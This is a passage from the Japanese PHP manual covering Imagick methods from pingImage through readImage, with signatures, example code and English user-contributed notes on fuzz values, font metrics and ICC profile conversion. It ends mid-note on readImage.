fuzz

画像の fuzz 値。 どの程度の色を「同じ色」とみなすかを表します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

quickshiftin at gmail dot com 07-Oct-2014 04:22
Have a look at this thread on Stackoverflow for the answer regarding how to determine the max intensity of an image.

http://stackoverflow.com/questions/26239130/determine-max-possible-intensity-of-image/26240656#26240656

In short here is the code to make the $fuzz parameter behave more like you would expect (it now represents a percentage between 0-100). The $fuzz value should now be a float between 0 and 1.

class SaneImagick extends Imagick
{
    public function paintTransparentImage($target, $alpha, $fuzz)
    {
        $iQuantumDepth = pow(2, $this->getQuantumDepth()['quantumDepthLong']);
        return parent::paintTransparentImage($target, $alpha, $fuzz * $iQuantumDepth);
    }
}
alain at ocarina dot fr 17-Oct-2011 02:14
The fuzz is just working well in a range of 0 to 65535.

I suggest you to try to move fuzz on a color spectrum image.

1/ Get a color spectrum ( Google Image has a lot )

2/ Try this code :

<?php

    function fuzzTest($source, $target, $fuzz) {

        // Loads image
        $im = new Imagick($source);

        // Resizes images to make them easily comparable
        $im->resizeImage(320, 240, Imagick::FILTER_LANCZOS, 1, true);

        // Apply fuzz
        $im->paintTransparentImage($im->getImagePixelColor(0, 0), 0, $fuzz);

         // Writes image
        $im->setImageFormat('png');
        $im->writeImage($target);
        $im->destroy();

        return true;
     }

     for ($i = 0; ($i <= 10); $i++) {
         fuzzTest('spectrum.png', "test_{$i}.png", (6553.5 * $i));
         echo '<img src="test_' . $i . '.png" />&nbsp;';
     }

 ?>
Anonymous 06-Mar-2009 08:11
Actually it does seem to work just not the way expected perhaps.

Looking at the fuzz option on ImageMagick's site (http://www.imagemagick.org/script/command-line-options.php#fuzz), "The distance can be in absolute intensity units or, by appending % as a percentage of the maximum possible intensity (255, 65535, or 4294967295)."

As it requires a float, the percentage value won't work so it actually one of the max intensity values.  In my case, the images I was working with seemed to have max intensity values of 65535.  So a fuzz of 6500, for roughly 10%, seemed to do the trick.

The part that might be problematic though is how do you determine the max intensity of a color/image?  Using a static 6500 would be fine until I would have to convert an image with a max intensity other than 65535.  If it's 255 it would wipe the entire image.  Or fall far short on the fuzz with the larger value.


画像の基本属性を取得する

  • ≪ Imagick::paintTransparentImage
  • Imagick::pingImageBlob ≫
  • PHP Manual
  • Imagick
  • 画像の基本属性を取得する

Imagick::pingImage

(PECL imagick 2, PECL imagick 3)

Imagick::pingImage — 画像の基本属性を取得する

説明

public Imagick::pingImage ( string $filename ) : bool

このメソッドを使用すると、画像全体を読み込まなくても 画像の幅や高さ、サイズそしてフォーマットを取得できます。

パラメータ

filename

情報を読み込むファイル名。

返り値

成功した場合に true を返します。

User Contributed Notes

Gynoid 18-Sep-2015 11:08
Also you can do:

$image = new Imagick($file);
$width = $image->getImageWidth();
$height = $image->getImageHeight();

to catch the witdth/height parameters without use pingImage() initialization.
hello at digitalnature dot eu 31-Jul-2013 11:41
Just a warning: don't use Eero Niemi's code (identifyImage with pingImage) if you just want to get the image width and height, because it will actually be slower than reading the whole image into memory - about 10x slower!

Correct code should be:

<?php

  $image = new Imagick();
  $image->pingImage($file);
  $width = $image->getImageWidth();
  $height = $image->getImageHeight();

?>

(this is around 15 times faster than reading the image in memory)
Sergey 01-Sep-2012 03:06
If you don't sure whether the file exists or not or maybe it's broken, then you should use try - catch construction. It prevents code fails, when code stops execution after call of pingImage (if the file doesn't exist or it's broken).

<?php
$im = new Imagick();
try {
    $im->pingImage('3.jpg');
}
catch(ImagickException $e) {
    echo "image doesn't exist";
}
?>
Eero Niemi (eero at eero dot info) 21-May-2008 07:12
Actually the previous example causes file to be loaded twice on Imagick's stack, proper way to do this is:

<?php

$file = 'foo.jpg';
$image = new Imagick();
$image->pingImage($file);
$image_info = $image->identifyImage();

?>


手早く属性を取得する

  • ≪ Imagick::pingImage
  • Imagick::pingImageFile ≫
  • PHP Manual
  • Imagick
  • 手早く属性を取得する

Imagick::pingImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageBlob — 手早く属性を取得する

説明

public Imagick::pingImageBlob ( string $image ) : bool

このメソッドを使用すると、画像全体を読み込まなくても 画像の幅や高さ、サイズそしてフォーマットを取得できます。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

image

画像を含む文字列。

返り値

成功した場合に true を返します。

例

例1 Imagick::pingImageBlob() の使用法

文字列から画像の情報を読み込みます。

<?php
/* 画像コンテンツを読み込みます */
$image = file_get_contents("test.jpg");

/* 新しい imagick オブジェクトを作成します */
$im = new Imagick();

/* 文字列を imagick オブジェクトに渡します */
$im->pingImageBlob($image);

/* 画像の幅と高さを出力します */
echo $im->getImageWidth() . 'x' . $im->getImageHeight();
?>

参考

  • Imagick::pingImage() - 画像の基本属性を取得する
  • Imagick::pingImageFile() - 画像の基本属性を手軽に取得する
  • Imagick::readImage() - ファイルから画像を読み込む
  • Imagick::readImageBlob() - バイナリ文字列から画像を読み込む
  • Imagick::readImageFile() - オープンしているファイルハンドルから画像を読み込む

User Contributed Notes

There are no user contributed notes for this page.


画像の基本属性を手軽に取得する

  • ≪ Imagick::pingImageBlob
  • Imagick::polaroidImage ≫
  • PHP Manual
  • Imagick
  • 画像の基本属性を手軽に取得する

Imagick::pingImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageFile — 画像の基本属性を手軽に取得する

説明

public Imagick::pingImageFile ( resource $filehandle , string $fileName = ? ) : bool

このメソッドを使用すると、画像全体を読み込まなくても 画像の幅や高さ、サイズそしてフォーマットを取得できます。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

filehandle

開いている画像のファイルハンドル。

fileName

オプションで指定する、この画像のファイル名。

返り値

成功した場合に true を返します。

例

例1 Imagick::pingImageFile() の使用法

リモートファイルを開きます。

<?php
/* リモートファイルを fopen します */
$fp = fopen("http://example.com/test.jpg");

/* 新しい imagick オブジェクトを作成します */
$im = new Imagick();

/* ハンドルを imagick に渡します */
$im->pingImageFile($fp);
?>

参考

  • Imagick::pingImage() - 画像の基本属性を取得する
  • Imagick::pingImageBlob() - 手早く属性を取得する
  • Imagick::readImage() - ファイルから画像を読み込む
  • Imagick::readImageBlob() - バイナリ文字列から画像を読み込む
  • Imagick::readImageFile() - オープンしているファイルハンドルから画像を読み込む

User Contributed Notes

There are no user contributed notes for this page.


ポラロイド写真をシミュレートする

  • ≪ Imagick::pingImageFile
  • Imagick::posterizeImage ≫
  • PHP Manual
  • Imagick
  • ポラロイド写真をシミュレートする

Imagick::polaroidImage

(PECL imagick 2, PECL imagick 3)

Imagick::polaroidImage — ポラロイド写真をシミュレートする

説明

public Imagick::polaroidImage ( ImagickDraw $properties , float $angle ) : bool

ポラロイド写真をシミュレートします。 このメソッドは、ImageMagick バージョン 6.3.2 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

properties

ポラロイドプロパティ。

angle

ポラロイド角度。

返り値

成功した場合に true を返します。

例

例1 Imagick::polaroidImage() の例

Imagick::polaroidImage() の使用法です。

<?php
/* オブジェクトを作成します */
$image = new Imagick('source.png');

/* 透明度を設定します */
$image->polaroidImage(new ImagickDraw(), 25);

/* 画像を出力します */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


指定した色数まで画像を減色する

  • ≪ Imagick::polaroidImage
  • Imagick::previewImages ≫
  • PHP Manual
  • Imagick
  • 指定した色数まで画像を減色する

Imagick::posterizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::posterizeImage — 指定した色数まで画像を減色する

説明

public Imagick::posterizeImage ( int $levels , bool $dither ) : bool

指定した色数まで画像を減色します。

パラメータ

levels

dither

返り値

成功した場合に true を返します。

例

例1 Imagick::posterizeImage()

<?php
function posterizeImage($imagePath, $posterizeType, $numberLevels) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->posterizeImage($numberLevels, $posterizeType);
    $imagick->setImageFormat('png');
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

posterizeImage($imagePath, \Imagick::DITHERMETHOD_RIEMERSMA, 8);

?>

User Contributed Notes

linspb at gmail dot com 24-Jul-2017 02:19
At PHP 7.x before

$im->posterizeimage(2, FALSE);

do

$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);

on PHP 5.x working without setImageType well.

Example:
$im = new Imagick();
$r = $im->readImageBlob($label);
if (!$r) {
    return FALSE;
}
$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);
$im->posterizeimage(2, 0);
$bmp = $im->getImageBlob();


画像処理用の適切なパラメータを手早く取得する

  • ≪ Imagick::posterizeImage
  • Imagick::previousImage ≫
  • PHP Manual
  • Imagick
  • 画像処理用の適切なパラメータを手早く取得する

Imagick::previewImages

(PECL imagick 2, PECL imagick 3)

Imagick::previewImages — 画像処理用の適切なパラメータを手早く取得する

説明

public Imagick::previewImages ( int $preview ) : bool

指定した画像の 9 枚のサムネイルをタイル状に並べ、 さまざまな強度で画像処理を適用します。 これは、画像処理操作のパラメータの適切な値を手早く知りたい場合に便利です。

パラメータ

preview

プレビュー形式。プレビュー形式の定数 を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクト内の前の画像に移動する

  • ≪ Imagick::previewImages
  • Imagick::profileImage ≫
  • PHP Manual
  • Imagick
  • オブジェクト内の前の画像に移動する

Imagick::previousImage

(PECL imagick 2, PECL imagick 3)

Imagick::previousImage — オブジェクト内の前の画像に移動する

説明

public Imagick::previousImage ( ) : bool

画像リスト内の前の画像を Imagick オブジェクトに関連付けます。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像のプロファイルを追加あるいは削除する

  • ≪ Imagick::previousImage
  • Imagick::quantizeImage ≫
  • PHP Manual
  • Imagick
  • 画像のプロファイルを追加あるいは削除する

Imagick::profileImage

(PECL imagick 2, PECL imagick 3)

Imagick::profileImage — 画像のプロファイルを追加あるいは削除する

説明

public Imagick::profileImage ( string $name , string $profile ) : bool

ICC、IPTC あるいは汎用のプロファイルを画像に追加あるいは削除します。 profile が NULL の場合は画像からプロファイルを削除し、 それ以外の場合は追加します。 name に '*'、profile に NULL を指定すると、画像からすべてのプロパティを削除します。

パラメータ

name

profile

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

dadima, gmail 05-Apr-2014 08:07
If profileImage() seems to be doing nothing — and "inverted colors" during a CMYK > RGB conversion is a sign of this — check that ImageMagick has the lcms delegate available.
From a command prompt:
convert -list configure | grep DELEGATES

If you don't see lcms in the list then Imagick won't do any color profile conversions, and won't give any warnings about this.  In that case, install the Little CMS library ( http://www.littlecms.com/ ) and recompile ImageMagick.
gavin at softyolk dot com 12-Jul-2009 04:28
Thanks for this very valuable information.
For a further push in the correct direction please
consider that you have to download the profiles,

and your most likely sources are:

http://www.color.org/srgbprofiles.xalter

and

http://www.adobe.com/support/downloads/product.jsp?product=62&platform=Windows

Note that the profiles are free, but you must install them
to make them available on you host system.
Eero Niemi (eero at eero dot info) 29-Apr-2008 07:01
If you need to convert images that are on CMYK format into RGB and want to preserve colour information, this may be helpful:

<?php
$image = new Imagick("CMYK_image.jpg"); // load image
$profiles = $image->getImageProfiles('*', false); // get profiles
$has_icc_profile = (array_search('icc', $profiles) !== false); // we're interested if ICC profile(s) exist

if ($has_icc_profile === false)
{
  // image does not have CMYK ICC profile, we add one
  $icc_cmyk = file_get_contents('/path/to/icc/SomeCMYKProfile.icc');
  $image->profileImage('icc', $icc_cmyk);
}

// Then we need to add RGB profile
$icc_rgb = file_get_contents('/path/to/icc/SomeRGBProfile.icc');
$image->profileImage('icc', $icc_rgb);

$image->setImageColorSpace(Imagick::COLORSPACE_RGB);

$image->writeImage("RGB_image.jpg");

?>

There may be better and more elegant ways to do this, but hope this helped.


参照画像内の色を解析する

  • ≪ Imagick::profileImage
  • Imagick::quantizeImages ≫
  • PHP Manual
  • Imagick
  • 参照画像内の色を解析する

Imagick::quantizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImage — 参照画像内の色を解析する

説明

public Imagick::quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError ) : bool

パラメータ

numberColors

colorspace

treedepth

dither

measureError

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::quantizeImage()

<?php
function quantizeImage($imagePath, $numberColors, $colorSpace, $treeDepth, $dither) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->quantizeImage($numberColors, $colorSpace, $treeDepth, $dither, false);
    $imagick->setImageFormat('png');
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像シーケンス内の色を解析する

  • ≪ Imagick::quantizeImage
  • Imagick::queryFontMetrics ≫
  • PHP Manual
  • Imagick
  • 画像シーケンス内の色を解析する

Imagick::quantizeImages

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImages — 画像シーケンス内の色を解析する

説明

public Imagick::quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError ) : bool

パラメータ

numberColors

colorspace

treedepth

dither

measureError

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


フォントメトリクスを表す配列を返す

  • ≪ Imagick::quantizeImages
  • Imagick::queryFonts ≫
  • PHP Manual
  • Imagick
  • フォントメトリクスを表す配列を返す

Imagick::queryFontMetrics

(PECL imagick 2, PECL imagick 3)

Imagick::queryFontMetrics — フォントメトリクスを表す配列を返す

説明

public Imagick::queryFontMetrics ( ImagickDraw $properties , string $text , bool $multiline = ? ) : array

フォントメトリクスを表す、多次元配列を返します。

パラメータ

properties

フォントのプロパティを含む ImagickDraw オブジェクト。

text

テキスト。

multiline

マルチラインパラメータ。空にすると自動検出します。

返り値

フォントメトリクスを表す、多次元配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::queryFontMetrics() の使用法

テキストのメトリクスを取得し、画面上に結果を表示します。

<?php
/* 新しい Imagick オブジェクトを作成します */
$im = new Imagick();

/* ImagickDraw オブジェクトを作成します */
$draw = new ImagickDraw();

/* フォントを設定します */
$draw->setFont('/path/to/font.ttf');

/* フォントメトリクスを出力します。複数行を自動検出します */
var_dump($im->queryFontMetrics($draw, "Hello World!"));
?>

User Contributed Notes

stevepburgess at gmail dot com 24-May-2015 10:05
Having spent quite a bit of time looking at these values for various fonts, this is my understanding of the values given by the fontMetrics function. I am using php 5.3 and ImageMagick 6.5.4-7 on Centos 6.5.

characterWidth and characterHeight
- These seem to be related to the size you have specified for the font and don't seem to differ from font to font (at the same size). As such, they are not especially useful (to me, at least). They are not a reliable indicator of how much space the font will use.

ascender
- The ascender is the part of the font that is above the baseline. It is not character related - the ascender value is the same for every character in the font.

descender
- The descender is the part of the font that is below the baseline. It is represented as a negative figure. Adding the absolute values of the ascender and the descender gives you the...

textHeight
- This is the total height available to the font.  It is the same for every character in the font irrespective of its case or how much space the character seems to occupy. This can be used to determined the line height when outputting paragraphs, etc.

textWidth
- This value varies from character to character and is the width of the character. This is useful if the boundingBox does not provide usable values (see boundingBox below). When positioning characters one by one - don't use textWidth, use originX (see below).

maxHorizontalAdvance
- I'm afraid I haven't quite figured out the purpose of this. It is the same for every character in the font. For the font Arial Italic at size 67, the value is 89 which is much wider than the advance reported for the M or the W at the same size.

boundingBox
- This returns an associative array describing the four points (x1, y1, x2, y2) of a rectangle that contain the character. These values are relative to the origin (i.e. the coordinates of where you are drawing the character within an image). The returned rectangle is very accurate and encloses all parts of the printed character completely - but the boundingBox only works on single characters. It will not give accurate figures for multiple characters (in my experience anyway). When drawing a box you need to ADD "x" values to the origin and SUBTRACT "y" values from the origin. You cannot rely on the boundingBox for the SPACE character. It returns a boundingBox of (0,0,0,0).  textWidth (see above) comes in handy here.

originX and originY
- these are inaccurately titled. The values returned in originX and originY are actually advanceX and advanceY. These values give you the position of the next character relative to the current one.

I hope this is useful.
SkepticaLee 04-Feb-2014 05:34
The values do not match the array descriptors at all. If you have to know exactly how much space is being taken up by an annotation, use the following:

<?php
$text = "Algbqdj";
$im = new Imagick ();
$draw = new ImagickDraw ();
$draw->setStrokeColor ("none");
$draw->setFont ("Arial");
$draw->setFontSize (96);
$draw->setTextAlignment (Imagick::ALIGN_LEFT);
$metrics = $im->queryFontMetrics ($draw, $text);
//these are the values which accurately described the extent of the text and where it is to be drawn:
$baseline = $metrics['boundingBox']['y2'];
$textwidth = $metrics['textWidth'] + 2 * $metrics['boundingBox']['x1'];
$textheight = $metrics['textHeight'] + $metrics['descender'];
$draw->annotation (0, $baseline, $text);
$im->newImage ($textwidth, $textheight, "white");
$im->drawImage ($draw);
$draw->clear ();
$im->writeImage ("test.png");
$im->clear ();
?>

The file test.png should now contain pretty much the complete text with no borders. This may not work for very unusual fonts, but will work OK for Times New Roman and Arial.
jlong at carouselchecks dot com 30-May-2013 02:02
Example output from queryFontMetrics:

Array
(
    [characterWidth] => 9
    [characterHeight] => 9
    [ascender] => 9
    [descender] => -2
    [textWidth] => 71
    [textHeight] => 10
    [maxHorizontalAdvance] => 12
    [boundingBox] => Array
        (
            [x1] => 0
            [y1] => -2
            [x2] => 6.890625
            [y2] => 7
        )

    [originX] => 70
    [originY] => 0
)
abcrdw at gmail dot com 18-Sep-2011 10:49
This script will print a watermark on the middle of an image. The width of the watermark will depend on the width of the image.

<?php
// Create a new Imagick object
$objImage = new Imagick( 'path/to/image.jpg' );

// Get the width and height of the image
$imgSize   = $objImage->getImageGeometry();
$imgWidth  = $imgSize['width'];
$imgHeight = $imgSize['height'];

// Create a new text object
$objText = new ImagickDraw();

// Set te text color
$objText->setFillColor( new ImagickPixel('grey') );

// Set the text transparency: 0 = transparent, 1 = opaque
$objText->setFillAlpha( 0.2 );

// Top left will be point of reference
$objText->setGravity( Imagick::GRAVITY_NORTHWEST );

// Create an array for the textwidth and textheight
$textProperties = array( 'textWidth' => 0 );

// Set the desired width of the watermark to 90% of the image width
$textDesiredWidth = intval( $imgWidth * 0.9 );

// Set an initial value for the fontsize, will be increased in the loop below
$fontSize = 0;

// We use the domain name of the server for the watermark text
$text = $_SERVER['SERVER_NAME'];

// Increase the fontsize until we have reached our desired width
while ( $textProperties['textWidth'] <= $textDesiredWidth ) {
    $objText->setFontSize( $fontSize );
    $textProperties = $objImage->queryFontMetrics( $objText, $text );
    $fontSize++;
}

// Calculate the horizontal starting position
$watermarkPosX = intval( ($imgWidth - $textProperties['textWidth']) / 2 );

// Calculate the vertical starting position
$watermarkPosY = floor( ($imgHeight - $textProperties['textHeight']) / 2 );

// Composite the text on the image
$objImage->annotateImage( $objText, $watermarkPosX, $watermarkPosY, 0, $text );

// The browser must know this is JPEG image or else it will display garbled text
header( 'Content-Type: image/jpeg' );

// Display the image
echo $objImage;
?>
thok nojunk at spammail thok dot ca 03-Jan-2011 01:49
The following fields constitute my current PHP 5.2.1/Imagick 6.5.1 queryFontMetrics() return array (once setFontSize() and setFont() have been set):

characterWidth: maximum character ("em") width
characterHeight: maximum character height
ascender: the height of character ascensions (i.e. the straight bit on a 'b')
descender: the height of character descensions (i.e. the straight bit on a 'p')
textWidth: width of drawn text in pixels
textHeight: height of drawn text in pixels
maxHorizontalAdvance: maximum pixels from start of one character to start of the next
boundingBox: array of x1, y1, x2, y2 bounding borders
originX, originY: ?

originX seems to shadow the textWidth field, and originY has been zero thus far in my exploration.

If you're looking to center text or locate it at an edge, though, use ImagickDraw::setGravity(int $gravity), where $gravity is one of the following constants:

Imagick::GRAVITY_NORTHWEST
Imagick::GRAVITY_NORTH
Imagick::GRAVITY_NORTHEAST
Imagick::GRAVITY_WEST
Imagick::GRAVITY_CENTER
Imagick::GRAVITY_EAST
Imagick::GRAVITY_SOUTHWEST
Imagick::GRAVITY_SOUTH
Imagick::GRAVITY_SOUTHEAST

Using setGravity() is far less finicky for the simpler tasks.
george at sogetthis dot com 21-Nov-2010 03:44
Up to and including imagick 3.0.1, queryfontmetrics would output size data based on an image resolution of 72x72. (see bug: http://pecl.php.net/bugs/bug.php?id=19907)

Should you have set a resolution other than this and be using 3.0.1 or below, you need to scale measurements up by a factor of YOUR_RESOLUTION / 72

e.g. assuming you've set a resolution of 300
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72 * (300 / 72));
$data = $im->queryfontmetrics($draw, 'hello world');
var_dump($data);
?>

In 3.0.2 and above, the solution is to set the resolution on the draw object to that of the image resolution
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setResolution(300,300);
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72);
$draw->setFillColor('#ff0000');
$data = $im->queryFontMetrics($draw, $string);

var_dump($data);
?>
Pete &#39;the Pete&#39; de Pijd 29-Jun-2009 06:18
You can also use $imagickDraw()->setTextAlignmnent(Imagick::ALIGN_CENTER) and $imagickDraw->annotation(..) instead.
waage 30-Jan-2008 07:57
You can use this to center a text within a box

<?php

$data = "Hello world";

$text = new ImagickDraw();
$text->setFontSize(12);
$text->setFont("Arial");

$boxWidth = 210;

$im = new Imagick();

$fm = $im->queryFontMetrics($text, $data, false);

$textXLoc = ($boxWidth / 2) - ($fm["textWidth"] / 2);

?>

$textXLoc is now the starting location you need to use to feed to your annotateImage() function.


設定したフォントを返す

  • ≪ Imagick::queryFontMetrics
  • Imagick::queryFormats ≫
  • PHP Manual
  • Imagick
  • 設定したフォントを返す

Imagick::queryFonts

(PECL imagick 2, PECL imagick 3)

Imagick::queryFonts — 設定したフォントを返す

説明

public static Imagick::queryFonts ( string $pattern = "*" ) : array

設定したフォントを返します。

パラメータ

pattern

クエリパターン。

返り値

フォントを含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::queryFonts()

<?php
        $output = '';
        $output .= "Fonts that match 'Helvetica*' are:<br/>";

        $fontList = \Imagick::queryFonts("Helvetica*");

        foreach ($fontList as $fontName) {
            $output .= '<li>'. $fontName."</li>";
        }

        return $output;

?>

User Contributed Notes

Stefano 24-Apr-2017 02:28
If you want to create a graphical output of the  configured/embedded fonts

function outputFont( $fontName = 'Courier' ) {
    $image = new Imagick();
    $draw = new ImagickDraw();

    $draw->setGravity( Imagick::GRAVITY_CENTER );
    $draw->setFont( $fontName );
    $draw->setFontSize( 12 );
    $draw->setFillColor( 'black' );

    $image->newImage( 300, 20, new ImagickPixel( 'lightblue' ) );
    $image->annotateImage( $draw, 0, 0, 0, $fontName );
    $image->setImageFormat( 'png' );

    $src = 'data: ' . mime_content_type( $image ) . ';base64,' . base64_encode( $image );
    return '<img src="' . $src . '"> ' . $fontName . '<br>';
}

echo '<style>img{vertical-align: middle; margin-bottom: 1px;}</style>';
$fontList = \Imagick::queryFonts( '*' );
foreach ( $fontList as $fontName ) {
    echo outputFont( $fontName );
}


Imagick がサポートするフォーマットを返す

  • ≪ Imagick::queryFonts
  • Imagick::radialBlurImage ≫
  • PHP Manual
  • Imagick
  • Imagick がサポートするフォーマットを返す

Imagick::queryFormats

(PECL imagick 2, PECL imagick 3)

Imagick::queryFormats — Imagick がサポートするフォーマットを返す

説明

public static Imagick::queryFormats ( string $pattern = "*" ) : array

Imagick がサポートするフォーマットを返します。

パラメータ

pattern

返り値

Imagick がサポートするフォーマットを含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::queryFormats()

<?php
    function render() {
        $output = "";
        $input = \Imagick::queryformats();
        $columns = 6;

        $output .= "<table border='2'>";

        for ($i=0; $i < count($input); $i += $columns) {
            $output .= "<tr>";
            for ($c=0; $c<$columns; $c++) {
                $output .= "<td>";
                if (($i + $c) <  count($input)) {
                    $output .= $input[$i + $c];
                }
                $output .= "</td>";
            }
            $output .= "</tr>";
        }

        $output .= "</table>";

        return $output;
    }

?>

User Contributed Notes

There are no user contributed notes for this page.


画像にラジアルブラーを施す

  • ≪ Imagick::queryFormats
  • Imagick::raiseImage ≫
  • PHP Manual
  • Imagick
  • 画像にラジアルブラーを施す

Imagick::radialBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::radialBlurImage — 画像にラジアルブラーを施す

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::radialBlurImage ( float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像にラジアルブラーを施します。

パラメータ

angle

channel

返り値

成功した場合に true を返します。

例

例1 Imagick::radialBlurImage()

<?php
function radialBlurImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    //Blur 3 times with different radii
    $imagick->radialBlurImage(3);
    $imagick->radialBlurImage(5);
    $imagick->radialBlurImage(7);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


三次元のボタン風の効果をシミュレートする

  • ≪ Imagick::radialBlurImage
  • Imagick::randomThresholdImage ≫
  • PHP Manual
  • Imagick
  • 三次元のボタン風の効果をシミュレートする

Imagick::raiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::raiseImage — 三次元のボタン風の効果をシミュレートする

説明

public Imagick::raiseImage ( int $width , int $height , int $x , int $y , bool $raise ) : bool

画像の輪郭を明るくしたり暗くしたりすることによって、 三次元のボタン風の効果をシミュレートします。 raise_info のメンバ width および height が、 垂直方向および水平方向の効果の輪郭を定義します。

パラメータ

width

height

x

y

raise

返り値

成功した場合に true を返します。

例

例1 Imagick::raiseImage()

<?php
function raiseImage($imagePath, $width, $height, $x, $y, $raise) {
    $imagick = new \Imagick(realpath($imagePath));

    //x and y do nothing?
    $imagick->raiseImage($width, $height, $x, $y, $raise);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


コントラストの高い 2 色の画像を作成する

  • ≪ Imagick::raiseImage
  • Imagick::readImage ≫
  • PHP Manual
  • Imagick
  • コントラストの高い 2 色の画像を作成する

Imagick::randomThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::randomThresholdImage — コントラストの高い 2 色の画像を作成する

説明

public Imagick::randomThresholdImage ( float $low , float $high , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

個々のピクセルの輝度を閾値と比較し、その色を変更します。 変換結果は、コントラストの高い 2 色の画像となります。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

low

低い点。

high

高い点。

channel

そのモードに対応した任意のチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数をビット演算子で連結します。 この チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::randomThresholdImage()

<?php
function randomThresholdimage($imagePath, $lowThreshold, $highThreshold, $channel) {
    $imagick = new \Imagick(realpath($imagePath));

    $imagick->randomThresholdimage(
        $lowThreshold * \Imagick::getQuantum(),
        $highThreshold * \Imagick::getQuantum(),
        $channel
    );
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


ファイルから画像を読み込む

  • ≪ Imagick::randomThresholdImage
  • Imagick::readImageBlob ≫
  • PHP Manual
  • Imagick
  • ファイルから画像を読み込む

Imagick::readImage

(PECL imagick 2, PECL imagick 3)

Imagick::readImage — ファイルから画像を読み込む

説明

public Imagick::readImage ( string $filename ) : bool

ファイルから画像を読み込みます。

パラメータ

filename

返り値

成功した場合に true を返します。

User Contributed Notes

lindsay at axys dot co dot nz 03-Mar-2015 11:53
If you have just uploaded the PDF and want to generate an image from the first page, the [0] needs to be added to the image name as a text string.

        $filename = getSafeFileName($uploaddir,basename($_FILES['brochure_pdf']['name'], $overwrite));
        $uploadfile = $uploaddir . $filename;
        if (move_uploaded_file($_FILES['brochure_pdf']['tmp_name'], $uploadfile)) {
              $brochure_pdf = $filename;
            $im = new Imagick();
            $im->setResolution(80,80);
            $im->readimage($uploadfile."[0]");
            $im->setImageFormat('jpeg');
            $image_name = "save_as_name.jpg";
            $imageprops = $im->getImageGeometry();
            if ($imageprops['width'] <= 175 && $imageprops['height'] <= 300) {
                // don't upscale
             } else {
                 $im->resizeImage(175,300, imagick::FILTER_LANCZOS, 0.9, true);
             }

            $im->writeImage($uploaddir .$image_name);
            $im->clear();
            $im->destroy();
holdoffhunger at gmail dot com 10-Jan-2013 03:50
What is the difference between ReadImage and ReadImageFile?  Based by looking at the pages, you would think that they behave the exact same, except in their arguments: ReadImage takes a string containing the folder location of the file, and ReadImageFile takes a handle pointing to the file location.  Initially, the first looks far more tempting, since you don't have to worry about fopen and fclose commands.

But, there is a problem with the ReadImage function!  With an imagemagick object whose data was created from this function, I could scale, change the colors, and perform artistic effects upon the object, without any problems at all, but then there was a problem with saving: it seemed to be keep me stuck to the image format of the original image (in this case, a ".jpg", but it may be different elsewhere).  The functions setImageFormat and setFormat, programmed line after line, provided no effect to changing the format to png, bmp, or gif.  When the only line of code I changed was ReadImage to ReadImageFile, the problem disappears entirely.

Some sample code to demonstrate (using PHP Version 5.2.17).  Input Filename: test.jpg.  Output Filenames: test_result_bad.bmp, test_result_bad.png, test_result_good.bmp, test_result_good.png.  The resultant filesizes should be enough to convince you that all bad files are merely duplicate jpgs...

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Image Location
        // ------------------------------

    $image_file_location = "test.jpg";

